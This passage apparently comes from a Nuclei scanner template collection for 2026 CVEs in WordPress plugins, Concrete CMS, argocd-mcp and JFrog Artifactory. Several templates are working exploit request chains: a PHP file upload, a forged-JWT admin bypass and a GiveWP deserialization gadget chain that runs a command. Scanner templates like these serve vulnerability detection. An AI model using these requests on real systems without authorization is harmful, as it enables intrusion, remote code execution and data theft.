http(\"submit-page\");\n\n if (!template[\"upload_file_url\"] && !template[\"upload_rel_url\"] && template[\"gform_ajax_value\"]) {\n http(\"submit-ajax\");\n }\n\n let verifyUrl = template[\"upload_file_url\"] || template[\"upload_rel_url\"] || \"\";\n if (verifyUrl) {\n if (!verifyUrl.startsWith(\"http\")) {\n verifyUrl = \"{{BaseURL}}/\" + verifyUrl;\n }\n verifyUrl = verifyUrl.replace(/&/g, \"&\");\n set(\"verify_url\", verifyUrl);\n http(\"verify-upload\");\n }\n\nhttp:\n - id: detect\n raw:\n - |\n GET /wp-content/plugins/gravityforms/gravityforms.php HTTP/1.1\n Host: {{Hostname}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n internal: true\n\n - id: scan\n raw:\n - |\n GET {{BaseURL}}{{scan_path}} HTTP/1.1\n Host: {{Hostname}}\n\n matchers:\n - type: dsl\n dsl:\n - 'contains_all(body, \"gfield_visibility_hidden\", \"gfield--type-fileupload\", \"gravityforms\")'\n internal: true\n\n extractors:\n - type: regex\n name: form_id\n part: body\n internal: true\n group: 1\n regex:\n - 'id=[\"'']?gform_wrapper_([0-9]+)[\"'']?'\n\n - type: regex\n name: hidden_field_input_name\n part: body\n internal: true\n group: 1\n regex:\n - 'gfield_visibility_hidden[^>]*>[\\s\\S]{0,800}?name=[\"''](input_[0-9]+(?:_[0-9]+)?)[\"''][^>]*type=[\"'']file[\"'']'\n - 'gfield_visibility_hidden[^>]*>[\\s\\S]{0,800}?type=[\"'']file[\"''][^>]*name=[\"''](input_[0-9]+(?:_[0-9]+)?)[\"'']'\n\n - type: regex\n name: form_unique_id\n part: body\n internal: true\n group: 1\n regex:\n - 'name=[\"'']gform_unique_id[\"''][^>]*value=[\"'']([^\"'']*)[\"'']'\n\n - type: regex\n name: gform_ajax_value\n part: body\n internal: true\n group: 1\n regex:\n - 'name=[\"'']gform_ajax[\"''][^>]*value=[\"'']([^\"'']*)[\"'']'\n\n - id: submit-page\n raw:\n - |\n POST {{BaseURL}}{{found_page_path}} HTTP/1.1\n Host: {{Hostname}}\n Content-Type: multipart/form-data; boundary=----{{boundary}}\n Referer: {{BaseURL}}{{found_page_path}}\n Origin: {{RootURL}}\n\n ------{{boundary}}\n Content-Disposition: form-data; name=\"is_submit_{{form_id}}\"\n\n 1\n ------{{boundary}}\n Content-Disposition: form-data; name=\"gform_submit\"\n\n {{form_id}}\n ------{{boundary}}\n Content-Disposition: form-data; name=\"gform_unique_id\"\n\n {{form_unique_id}}\n ------{{boundary}}\n Content-Disposition: form-data; name=\"gform_target_page_number_{{form_id}}\"\n\n 0\n ------{{boundary}}\n Content-Disposition: form-data; name=\"gform_source_page_number_{{form_id}}\"\n\n 1\n ------{{boundary}}\n Content-Disposition: form-data; name=\"{{hidden_field_input_name}}\"; filename=\"{{fname}}.php\"\n Content-Type: application/x-php\n\n {{marker}}\n ------{{boundary}}--\n\n matchers:\n - type: dsl\n dsl:\n - 'contains_any(body, \"gform_confirmation\", \"gf-download\", \"wp-content/uploads/gravity_forms\", \"is_valid\")'\n\n\n extractors:\n - type: regex\n name: upload_file_url\n part: body\n internal: true\n group: 1\n regex:\n - 'href=[''\"]((?:https?:)?//[^''\"]*gf-download=[^''\"]+)[''\"]'\n\n - type: regex\n name: upload_rel_url\n part: body\n internal: true\n group: 0\n regex:\n - 'index\\.php\\?gf-download=[^''\"<>\\s]+'\n\n - id: submit-ajax\n raw:\n - |\n POST /wp-admin/admin-ajax.php HTTP/1.1\n Host: {{Hostname}}\n Content-Type: multipart/form-data; boundary=----{{boundary}}\n Referer: {{BaseURL}}{{found_page_path}}\n Origin: {{RootURL}}\n\n ------{{boundary}}\n Content-Disposition: form-data; name=\"action\"\n\n gform_ajax\n ------{{boundary}}\n Content-Disposition: form-data; name=\"gform_ajax\"\n\n {{gform_ajax_value}}\n ------{{boundary}}\n Content-Disposition: form-data; name=\"is_submit_{{form_id}}\"\n\n 1\n ------{{boundary}}\n Content-Disposition: form-data; name=\"gform_submit\"\n\n {{form_id}}\n ------{{boundary}}\n Content-Disposition: form-data; name=\"gform_unique_id\"\n\n {{form_unique_id}}\n ------{{boundary}}\n Content-Disposition: form-data; name=\"gform_target_page_number_{{form_id}}\"\n\n 0\n ------{{boundary}}\n Content-Disposition: form-data; name=\"gform_source_page_number_{{form_id}}\"\n\n 1\n ------{{boundary}}\n Content-Disposition: form-data; name=\"{{hidden_field_input_name}}\"; filename=\"{{fname}}.php\"\n Content-Type: application/x-php\n\n {{marker}}\n ------{{boundary}}--\n\n matchers:\n - type: dsl\n dsl:\n - 'contains_any(body, \"gform_confirmation\", \"gf-download\", \"wp-content/uploads/gravity_forms\", \"is_valid\")'\n internal: true\n\n extractors:\n - type: regex\n name: upload_file_url\n part: body\n internal: true\n group: 1\n regex:\n - 'href=[''\"]((?:https?:)?//[^''\"]*gf-download=[^''\"]+)[''\"]'\n\n - type: regex\n name: upload_rel_url\n part: body\n internal: true\n group: 0\n regex:\n - 'index\\.php\\?gf-download=[^''\"<>\\s]+'\n\n - id: verify-upload\n raw:\n - |\n GET {{verify_url}} HTTP/1.1\n Host: {{Hostname}}\n\n matchers:\n - type: dsl\n dsl:\n - 'contains(body, \"{{marker}}\")'\n# digest: 490a00463044022038fffb8beb7343480355e2c973329a4cc79a25c960664ab9059aa0eaaf70520a022055c2ed59b49b090ed804110a1c0b3a9e9aabd8704c208966d39b584ffe6d9142:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-84434.yaml","vuln_id":"cve-2026-84434"},{"raw":"id: CVE-2026-8386\n\ninfo:\n name: WP Go Maps < 10.0.10 - Unauthenticated Marker Information Disclosure\n author: 0x_Akoko\n severity: medium\n description: |\n WP Go Maps WordPress plugin <10.0.10 contains an information disclosure vulnerability caused by lack of approval-state filtering on the public single-marker REST endpoint, letting unauthenticated users access unapproved marker records including PII and geographic coordinates, exploit requires no authentication.\n impact: |\n Unauthenticated users can access sensitive unapproved marker data including PII and location coordinates.\n remediation: |\n Upgrade to version 10.0.10 or later.\n reference:\n - https://wpscan.com/vulnerability/fa7f5cb0-abe2-4079-9290-e0e4dc89f27f/\n - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8386\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n cvss-score: 5.3\n cve-id: CVE-2026-8386\n epss-score: 0.007\n epss-percentile: 0.51737\n cwe-id: CWE-862\n metadata:\n verified: false\n max-request: 4\n fofa-query: body=\"/wp-content/plugins/wp-google-maps/\"\n tags: cve,cve2026,wordpress,wp-plugin,wp-google-maps,disclosure,unauth,rest-api\n\nflow: http(1) && http(2)\n\nhttp:\n - raw:\n - |\n GET /wp-content/plugins/wp-google-maps/readme.txt HTTP/1.1\n Host: {{Hostname}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(body, \"WP Go Maps\") || contains(body, \"WP Google Maps\")'\n - 'compare_versions(lsversion, \">=1.0.0\", \"<=10.0.9\")'\n condition: and\n internal: true\n\n extractors:\n - type: regex\n name: lsversion\n internal: true\n group: 1\n regex:\n - 'Stable tag: ([\\d.]+)'\n\n - method: GET\n path:\n - \"{{BaseURL}}/?rest_route=/wpgmza/v1/markers/1/\"\n - \"{{BaseURL}}/?rest_route=/wpgmza/v1/markers/2/\"\n - \"{{BaseURL}}/?rest_route=/wpgmza/v1/markers/3/\"\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(content_type, \"application/json\")'\n - 'contains_all(body, \"approved\", \"lat\", \"lng\", \"map_id\")'\n condition: and\n# digest: 4a0a00473045022100af20d0294a0a45390ecd3c71cbe9c3cbc0c73d9eb9eb84a2291e2fdb5ba5471f0220676a8b947876331d7948d770b35b62680a6ba4935c82b00d2780c82d2162c17d:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-8386.yaml","vuln_id":"cve-2026-8386"},{"raw":"id: CVE-2026-8385\n\ninfo:\n name: WordPress WP Go Maps < 10.0.10 - Unauthenticated Marker Data Disclosure\n author: 0x_Akoko\n severity: medium\n description: |\n WP Go Maps WordPress plugin < 10.0.10 contains an information disclosure vulnerability caused by improper enforcement of marker approval filter in admin-ajax fallback for datatables route, letting unauthenticated visitors retrieve unapproved marker records.\n impact: |\n Unauthenticated attackers can access unapproved marker data including title, category, address, and description, leading to sensitive information disclosure.\n remediation: |\n Update to version 10.0.10 or later.\n reference:\n - https://wpscan.com/vulnerability/984cad38-6d01-4956-8bf1-29585258780b/\n - https://nvd.nist.gov/vuln/detail/CVE-2026-8385\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n cvss-score: 5.3\n cve-id: CVE-2026-8385\n epss-score: 0.00801\n epss-percentile: 0.55085\n cwe-id: CWE-200\n metadata:\n verified: true\n max-request: 2\n vendor: developer-developer\n product: wp-google-maps\n framework: wordpress\n shodan-query: http.html:\"wp-google-maps\"\n fofa-query: body=\"wp-google-maps\"\n tags: cve,cve2026,wordpress,wp-plugin,wp,wp-google-maps,exposure\n\nflow: http(1) && http(2)\n\nhttp:\n - raw:\n - |\n GET /wp-content/plugins/wp-google-maps/readme.txt HTTP/1.1\n Host: {{Hostname}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(body, \"WP Google Maps\")'\n condition: and\n internal: true\n\n - raw:\n - |\n POST /wp-admin/admin-ajax.php HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n\n action=wpgmza_rest_api_request&route=%2Fdatatables%2F&phpClass=WPGMZA%5CMarkerDataTable&map_id=1&length=10&start=0&draw=1\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(content_type, \"application/json\")'\n - 'contains_all(body, \"recordsTotal\", \"recordsFiltered\", \"address\")'\n condition: and\n# digest: 4b0a00483046022100a875ffa64f9413b9d13d813fe341741163e4062c142e64cf331be793e659a871022100ae4b0cc57cad802df6d2ea968d4344d29f53d54a22db0dfb33d97ee9bab9232a:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-8385.yaml","vuln_id":"cve-2026-8385"},{"raw":"id: CVE-2026-8383\n\ninfo:\n name: LearnPress < 4.3.7 - Information Disclosure\n author: 0x_Akoko\n severity: medium\n description: |\n LearnPress WordPress plugin < 4.3.7 contains an information disclosure vulnerability caused by missing capability checks on a REST endpoint, letting unauthenticated visitors retrieve sensitive user role and capability data via crafted requests.\n impact: |\n Unauthenticated attackers can access sensitive user role and capability information, potentially aiding further attacks.\n remediation: |\n Update to version 4.3.7 or later.\n reference:\n - https://wpscan.com/vulnerability/b7cbf68b-62c5-4787-b84b-69df9e0122b2/\n - https://nvd.nist.gov/vuln/detail/CVE-2026-8383\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n cvss-score: 5.3\n cve-id: CVE-2026-8383\n epss-score: 0.07623\n epss-percentile: 0.94289\n cwe-id: CWE-862\n metadata:\n verified: true\n max-request: 1\n vendor: thimpress\n product: learnpress\n fofa-query: body=\"/wp-content/plugins/learnpress/\"\n tags: cve,cve2026,wordpress,wp,wp-plugin,learnpress,disclosure,rest-api\n\nhttp:\n - raw:\n - |\n GET /wp-json/learnpress/v1/users?context=edit HTTP/1.1\n Host: {{Hostname}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains_all(body, \"\\\"roles\\\"\", \"\\\"capabilities\\\"\", \"registered_date\")'\n condition: and\n# digest: 4a0a00473045022055fa4e734ddf3afd6c69daabce179d0d411347b32d6a2a50716c95b82626d7240221008909217178478a1868183d9307d5e948696bf90b1b03e6b097bd687acab04216:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-8383.yaml","vuln_id":"cve-2026-8383"},{"raw":"id: CVE-2026-82456\n\ninfo:\n name: argocd-mcp 0.8.0 - Unauthenticated MCP Session and Tool Access\n author: kh1166\n severity: critical\n description: |\n argocd-mcp before 0.9.0 binds its MCP HTTP listener to all interfaces without requiring authentication. A remote unauthenticated attacker can initialize an MCP session, complete the handshake, and enumerate or invoke the full Argo CD tool surface using the operator's stored API token.\n impact: |\n Remote unauthenticated attackers reach the full Argo CD tool surface with the operator's stored API token. Applications can be created pointing at attacker-controlled repositories and synced, which executes hostile manifests in the managed cluster under Argo CD's permissive default project.\n remediation: |\n Upgrade to argocd-mcp 0.9.0 and set MCP_AUTH_TOKEN so inbound callers must present an Authorization bearer header. Keep --bind-address on 127.0.0.1 unless an external auth layer is in front of the listener, and do not use --allow-unauthenticated to restore a wide bind.\n reference:\n - https://github.com/argoproj-labs/mcp-for-argocd/security/advisories/GHSA-rp45-5x3v-48mr\n - https://nvd.nist.gov/vuln/detail/CVE-2026-82456\n - https://www.vulncheck.com/advisories/argocd-mcp-0.8.0-authentication-bypass-via-unauthenticated-http\n - https://github.com/argoproj-labs/mcp-for-argocd/releases\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n cvss-score: 10\n cve-id: CVE-2026-82456\n epss-score: 0.01391\n epss-percentile: 0.71131\n cwe-id: CWE-306\n metadata:\n verified: false\n max-request: 3\n vendor: argoproj-labs\n product: mcp-for-argocd\n tags: cve,cve2026,argocd,argoproj,mcp,auth-bypass,exposure\n\nflow: |\n http(1)\n if (template[\"sid\"] == \"\") {\n stop()\n }\n http(2) && http(3)\n\nhttp:\n - raw:\n - |\n POST /mcp HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n Accept: application/json, text/event-stream\n\n {\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"nuclei\",\"version\":\"1.0\"}}}\n\n matchers:\n - type: dsl\n dsl:\n - 'contains(body, \"\\\"serverInfo\\\"\") && contains(body, \"\\\"name\\\":\\\"argocd-mcp\\\"\")'\n - 'status_code == 200'\n condition: and\n internal: true\n\n extractors:\n - type: regex\n name: sid\n part: header\n internal: true\n group: 1\n regex:\n - '(?i)mcp-session-id:\\s*([0-9a-fA-F-]{36})'\n\n - raw:\n - |\n POST /mcp HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n Accept: application/json, text/event-stream\n mcp-session-id: {{sid}}\n\n {\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\"}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 202'\n internal: true\n\n - raw:\n - |\n POST /mcp HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/json\n Accept: application/json, text/event-stream\n mcp-session-id: {{sid}}\n\n {\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/list\",\"params\":{}}\n\n matchers:\n - type: dsl\n dsl:\n - 'contains(body, \"\\\"name\\\":\\\"list_applications\\\"\") && contains(body, \"\\\"inputSchema\\\"\")'\n - 'status_code == 200'\n condition: and\n\n extractors:\n - type: regex\n name: session\n part: header\n group: 1\n regex:\n - '(?i)mcp-session-id:\\s*([0-9a-fA-F-]{36})'\n\n - type: regex\n name: write_tools\n part: body\n group: 1\n regex:\n - '\"name\":\"(create_application|update_application|delete_application|sync_application|run_resource_action)\"'\n# digest: 4a0a00473045022100d099e5b29b9aaed6faad705563d88deb631c55a54e4a6aa0d6a05c963b9a947602205b8b027c95e29378e8e32c30fde99b58ff567a07d94d86f81b4a0fcb388b2b82:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-82456.yaml","vuln_id":"cve-2026-82456"},{"raw":"id: CVE-2026-8237\n\ninfo:\n name: Concrete CMS <= 9.5.0 - Unauthenticated Conversation Message Disclosure (IDOR)\n author: Pauullamm\n severity: medium\n description: |\n Concrete CMS <= 9.5.0 contains an IDOR caused by insufficient access control in /ccm/frontend/conversations/message_detail endpoint, letting unauthenticated attackers enumerate conversation messages and attachments.\n impact: |\n Unauthenticated attackers can access restricted conversation messages and file attachments, exposing sensitive information.\n remediation: |\n Update to a version later than 9.5.0 or the latest available version\n reference:\n - https://documentation.concretecms.org/9-x/developers/introduction/version-history/951-release-notes\n - https://github.com/advisories/GHSA-xpgc-7vc2-8725\n - https://nvd.nist.gov/vuln/detail/CVE-2026-8237\n classification:\n cve-id: CVE-2026-8237\n cwe-id: CWE-862\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n cvss-score: 5.3\n epss-score: 0.0064\n epss-percentile: 0.49261\n cpe: cpe:2.3:a:concretecms:concrete_cms:*:*:*:*:*:*:*:*\n metadata:\n max-request: 1\n verified: true\n vendor: concretecms\n product: concrete_cms\n shodan-query: http.html:\"concrete5\"\n fofa-query: body=\"concrete5\" || body=\"concretecms\"\n tags: cve,cve2026,concretecms,concrete5,idor,exposure\n\nhttp:\n - raw:\n - |\n POST /ccm/frontend/conversations/message_detail HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n\n cnvMessageID=1\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains_all(body, \"data-conversation-message-id=\\\"1\\\"\", \"ccm-conversation-message-body\")'\n - 'contains_any(body, \"ccm-conversation-message-username\", \"ccm-conversation-message-pending-notice\")'\n condition: and\n# digest: 4a0a0047304502207e98a05c193960b4cc53a7d348ab55f143c877b88b88579e9670e99ee6de480a022100954a4a1c9296a27996a5399717ec361f388770d9a7f737cfa044a96d4ea0dffe:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-8237.yaml","vuln_id":"cve-2026-8237"},{"raw":"id: CVE-2026-8236\n\ninfo:\n name: Concrete CMS <9.5.1 - Unauthenticated File-Usage Internal Metadata Disclosure\n author: str4k3r\n severity: medium\n description: |\n Concrete CMS 9.5.0 and below is vulnerable to IDOR combined with a missing authentication gate. The endpoint /ccm/system/dialogs/file/usage/{fID} accepts an integer file ID in the URL and returns internal site structure data (page IDs, versions, URL paths) to anyone who sends a GET request.\n impact: |\n Remote attackers can access internal site structure data, potentially exposing sensitive information about the site.\n remediation: |\n Update to a version later than 9.5.0 or the latest available version.\n reference:\n - https://documentation.concretecms.org/9-x/developers/9.5.1-security-releases\n classification:\n cve-id: CVE-2026-8236\n epss-score: 0.00523\n epss-percentile: 0.43369\n cwe-id: CWE-862\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n cvss-score: 5.3\n metadata:\n verified: true\n max-request: 1\n vendor: concretecms\n product: concrete_cms\n shodan-query: html:\"/index.php/ccm/system/\"\n tags: cve,cve2026,concretecms,concrete5,cms,unauth,exposure\n\nhttp:\n - method: GET\n path:\n - \"{{BaseURL}}/index.php/ccm/system/dialogs/file/usage/1\"\n\n matchers-condition: and\n matchers:\n - type: word\n part: body\n words:\n - 'Page ID'\n - 'class=\"ccm-ui\"'\n - 'Handle'\n condition: and\n\n - type: status\n status:\n - 200\n# digest: 490a004630440220389f8545e429ad2ed936d627008ca6e485a58180c358670c49ad248fd714949702206bdcefec195e199b1950c251830d7b727698ffea8840778ca371c5c3654bdd80:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-8236.yaml","vuln_id":"cve-2026-8236"},{"raw":"id: CVE-2026-82329\n\ninfo:\n name: JFrog Artifactory Access Blank Join Key Authentication Bypass\n author: johnk3r,pruva\n severity: critical\n description: |\n JFrog Artifactory contains an authentication weakness that, under default configuration, may allow an unauthenticated attacker with network access to obtain administrative privileges.\n impact: |\n Unauthenticated attackers can gain administrative privileges, leading to full system control.\n remediation: |\n Update to the latest version and ensure secure configuration.\n reference:\n - https://jfrog.com/help/r/jfrog-release-information/artifactory-security-fixes\n - https://www.pruva.dev/reproductions/REPRO-2026-00341\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2026-82329\n epss-score: 0.07666\n epss-percentile: 0.94315\n cwe-id: CWE-287\n metadata:\n verified: true\n max-request: 1\n shodan-query: title:\"JFrog\"\n tags: cve,cve2026,jfrog,auth-bypass,vkev,kev\n\nvariables:\n service_id: \"jfrt@cve202682329nuclei{{rand_text_alpha(10)}}\"\n node_id: \"cve202682329node{{rand_text_alpha(10)}}\"\n jwt_claims: '{\"service_id\":\"{{service_id}}\",\"node_id\":\"{{node_id}}\",\"skip_node_registration\":true,\"iat\":{{unix_time()}}000}'\n forged_jwt: '{{generate_jwt(jwt_claims,\"HS256\",\" \")}}'\n\nhttp:\n - raw:\n - |\n POST /access/api/v1/registry/join HTTP/1.1\n Host: {{Hostname}}\n Content-Type: text/plain\n User-Agent: JFrogArtifactory/7.146.25\n Accept: */*\n Connection: close\n\n {{forged_jwt}}\n\n redirects: false\n max-redirects: 0\n\n matchers-condition: and\n\n matchers:\n - type: status\n status:\n - 201\n\n - type: word\n part: body\n words:\n - '\"token\"'\n# digest: 4a0a004730450220178638ce610d2980fc2109e4f0870cc52c1f58119104a5fc6c10f16daa226893022100e78b42f5dd97c8b95f8b14ec27cc513b33991661564cc716698ac9ee89d1860c:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-82329.yaml","vuln_id":"cve-2026-82329"},{"raw":"id: CVE-2026-82222\n\ninfo:\n name: GiveWP <= 4.16.7.1 - Remote Code Execution\n author: 0x_Akoko,pdteam\n severity: critical\n description: |\n GiveWP <= 4.16.7.1 contains an insecure deserialization vulnerability caused by deserialization of untrusted data, letting attackers perform object injection remotely, exploit requires crafted input\n impact: |\n Attackers can perform object injection leading to potential code execution or application logic manipulation.\n remediation: |\n Update to the latest version beyond 4.16.7.1.\n reference:\n - https://patchstack.com/articles/unauthenticated-php-object-injection-to-remote-code-execution-on-givewp/\n - https://www.cve.org/CVERecord?id=CVE-2026-82222\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2026-82222\n epss-score: 0.01547\n epss-percentile: 0.73908\n cwe-id: CWE-502\n metadata:\n max-request: 7\n verified: true\n vendor: givewp\n product: givewp\n framework: wordpress\n shodan-query: http.html:\"/wp-content/plugins/give/\"\n fofa-query: body=\"/wp-content/plugins/give/\"\n tags: cve,cve2026,wordpress,wp-plugin,givewp,rce,deserialization,intrusive,vkev\n\nvariables:\n cmd: \"id\"\n cmd_len: \"{{len(cmd)}}\"\n\nflow: |\n var chars = \"acfhjnprx\";\n var u = \"give\";\n var e = \"give\";\n var p = \"P0c\";\n for (var i = 0; i < 8; i++) u += chars.charAt(Math.floor(Math.random() * chars.length));\n for (var i = 0; i < 8; i++) e += chars.charAt(Math.floor(Math.random() * chars.length));\n for (var i = 0; i < 6; i++) p += chars.charAt(Math.floor(Math.random() * chars.length));\n e += \"@example.com\";\n p += \"Aa1!\";\n set(\"username\", u);\n set(\"email\", e);\n set(\"password\", p);\n http(1);\n if (!template[\"form_id\"]) set(\"form_id\", \"1\");\n if (http(2)) {\n http(3);\n if (http(4)) {\n http(5);\n if (!template[\"form_nonce\"]) set(\"form_nonce\", \"no-hash\");\n http(6);\n http(7);\n }\n }\n\nhttp:\n - raw:\n - |\n GET /wp-json/wp/v2/give_forms HTTP/1.1\n Host: {{Hostname}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(content_type, \"json\")'\n condition: and\n internal: true\n\n extractors:\n - type: regex\n name: form_id\n part: body\n group: 1\n regex:\n - '\"id\"\\s*:\\s*(\\d+)'\n internal: true\n\n - raw:\n - |\n POST / HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n\n give_action=user_register&give_register_submit=1&give_user_login={{username}}&give_user_email={{email}}&give_user_pass={{password}}&give_user_pass2={{password}}&give_redirect={{RootURL}}/\n\n cookie-reuse: true\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200 || status_code == 302'\n internal: true\n\n - raw:\n - |\n GET /wp-admin/profile.php HTTP/1.1\n Host: {{Hostname}}\n\n cookie-reuse: true\n redirects: true\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(body, \"profile.php\")'\n condition: and\n internal: true\n\n extractors:\n - type: regex\n name: profile_nonce\n part: body\n group: 1\n regex:\n - 'name=\"_wpnonce\"[^>]+value=\"([^\"]+)\"'\n internal: true\n\n - type: regex\n name: user_id\n part: body\n group: 1\n regex:\n - 'name=\"user_id\"[^>]+value=\"([0-9]+)\"'\n internal: true\n\n - raw:\n - |\n POST /wp-admin/profile.php HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n\n _wpnonce={{profile_nonce}}&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id={{user_id}}&action=update&user_id={{user_id}}&first_name=Test&last_name=O%3A5%3A%22TCPDF%22%3A2%3A%7Bs%3A7%3A%22file_id%22%3Bs%3A1%3A%22x%22%3Bs%3A9%3A%22imagekeys%22%3BO%3A61%3A%22Give%5C%5C%5C%5CVendors%5C%5C%5C%5CSymfony%5C%5C%5C%5CComponent%5C%5C%5C%5CHttpFoundation%5C%5C%5C%5CSession%5C%5C%5C%5CSession%22%3A2%3A%7Bs%3A7%3A%22storage%22%3BO%3A36%3A%22Give%5C%5C%5C%5CTestData%5C%5C%5C%5CFactories%5C%5C%5C%5CDonorFactory%22%3A1%3A%7Bs%3A15%3A%22loadedProviders%22%3Ba%3A1%3A%7Bs%3A6%3A%22getBag%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A13%3A%22attributeName%22%3Bs%3A{{cmd_len}}%3A%22{{url_encode(cmd)}}%22%3B%7D%7D&nickname={{username}}&display_name={{username}}&email={{email}}&url=&description=&pass1=&pass2=&user_login={{username}}\n\n cookie-reuse: true\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200 || status_code == 302'\n internal: true\n\n - raw:\n - |\n POST /wp-admin/admin-ajax.php HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n\n action=give_donation_form_nonce&give_form_id={{form_id}}\n\n cookie-reuse: true\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n internal: true\n\n extractors:\n - type: regex\n name: form_nonce\n part: body\n group: 1\n regex:\n - '\"data\"\\s*:\\s*\"([a-f0-9]{8,12})\"'\n internal: true\n\n - raw:\n - |\n POST /wp-admin/admin-ajax.php HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n\n action=give_process_donation&give-form-id={{form_id}}&give-form-hash={{form_nonce}}&give-amount=25.00&give-gateway=manual&give-price-id=0&give_first=Test&give_email={{email}}&give-form-title=PoC&give-current-url={{RootURL}}/\n\n cookie-reuse: true\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200 || status_code == 302 || status_code == 500'\n internal: true\n\n - raw:\n - |\n GET /?give_action=view_receipt HTTP/1.1\n Host: {{Hostname}}\n\n cookie-reuse: true\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200 || status_code == 500'\n - 'regex(\"uid=\\\\d+\\\\([^\\\\)]+\\\\)\\\\s+gid=\\\\d+\\\\([^\\\\)]+\\\\)\", body)'\n condition: and\n\n extractors:\n - type: regex\n name: rce_output\n group: 0\n regex:\n - 'uid=\\d+\\([^\\)]+\\)\\s+gid=\\d+\\([^\\)]+\\)'\n# digest: 4a0a0047304502201ed23c0aa8965ab1e056b59c40c5d1565c34bd461d2857e6cdc8e11eef2a43ad022100ee506c8d93f26e44f74bc131b412b859d8c7efa4b80c95b75767f48fa289c3a5:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-82222.yaml","vuln_id":"cve-2026-82222"},{"raw":"id: CVE-2026-8181\n\ninfo:\n name: WordPress Burst Statistics 3.4.0-3.4.1.1 - Authentication Bypass\n author: 0x_Akoko\n severity: critical\n description: |\n Burst Statistics – Privacy-Friendly WordPress Analytics plugin 3.4.0 to 3.4.1.1 contains an authentication bypass caused by incorrect return-value handling in is_mainwp_authenticated() function, letting unauthenticated attackers impersonate administrators, exploit requires knowledge of an administrator username.\n impact: |\n Unauthenticated attackers can impersonate administrators, leading to privilege escalation and full control over the application.\n remediation: |\n Update to a version later than 3.4.1.1 or the latest available version.\n reference:\n - https://github.com/murrez/CVE-2026-8181\n - https://nvd.nist.gov/vuln/detail/CVE-2026-8181\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2026-8181\n epss-score: 0.14608\n epss-percentile: 0.96494\n cwe-id: CWE-287\n metadata:\n verified: true\n max-request: 3\n vendor: really-simple-plugins\n product: burst-statistics\n publicwww-query: \"/wp-content/plugins/burst-statistics/\"\n tags: cve,cve2026,wp,wp-plugin,wordpress,burst-statistics,auth-bypass,unauth,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n - method: GET\n path:\n - \"{{BaseURL}}/wp-content/plugins/burst-statistics/readme.txt\"\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(to_lower(body), \"burst statistics\")'\n - 'compare_versions(version, \">= 3.4.0\", \"<= 3.4.1.1\")'\n internal: true\n condition: and\n\n extractors:\n - type: regex\n name: version\n part: body\n group: 1\n regex:\n - '(?i)Stable 